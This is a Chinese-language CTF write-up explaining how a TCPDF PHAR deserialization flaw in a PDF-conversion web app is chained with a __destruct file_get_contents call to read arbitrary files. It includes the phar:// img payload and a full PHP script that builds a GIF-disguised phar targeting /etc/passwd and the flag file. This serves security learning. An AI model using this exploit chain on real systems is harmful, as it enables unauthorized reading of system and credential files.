首先就github上源码。
在index.php末尾部分中看到如下代码
else if (isset($_POST["pdfcontent"]))
{
$creator = new \PDFStuff\PDFCreator();
$creator->createPdf($_POST["pdfcontent"]);
}
这边调用了PDFStuff命名空间下的PDFCreator函数
把pdfcontent给带入函数
看下这个函数。位于creator.php中
是调用了TCPDF这个库
function __destruct()
{
if (file_exists($this->tmpfile))
{
$info = pathinfo($this->tmpfile);
if ($info['extension'] == "pdf")
{
unlink($this->tmpfile);
}
else
{
echo "Could not delete created PDF: Not a pdf. Check the file: " . file_get_contents($this->tmpfile);
}
}
}
并且在最后。存在一个file_get_contents。任意文件读取。
https://www.chainnews.com/articles/455445932350.htm
TCPDF库存在一个PHAR反序列化漏洞
具体没说咋利用。。貌似就是在可控的地方。调用phar协议
看了一手WP利用。
<h1>Converted by CoolPDF</h1><h3>We hope you enjoyed our service!</h3>
<img src="phar://./upload/d7f4be9d064bac5fd42207b3d7efe102_10.jpg" width="10" height="10">
在src这个地方可以用phar伪协议触发反序列化
接下来就写exp
<?php
namespace PDFStuff{
class PDFCreator{
public $tmpfile='/etc/passwd';
}
}
namespace {
$a=new \PDFStuff\PDFCreator();
@unlink("phar.phar");
$phar=new \Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
之前扫目录得到flag.php
读/var/www/html/flag.php无果
读/etc/nginx/nginx.conf得到web目录/var/www/site
读/var/www/site/flag.php。得到Flag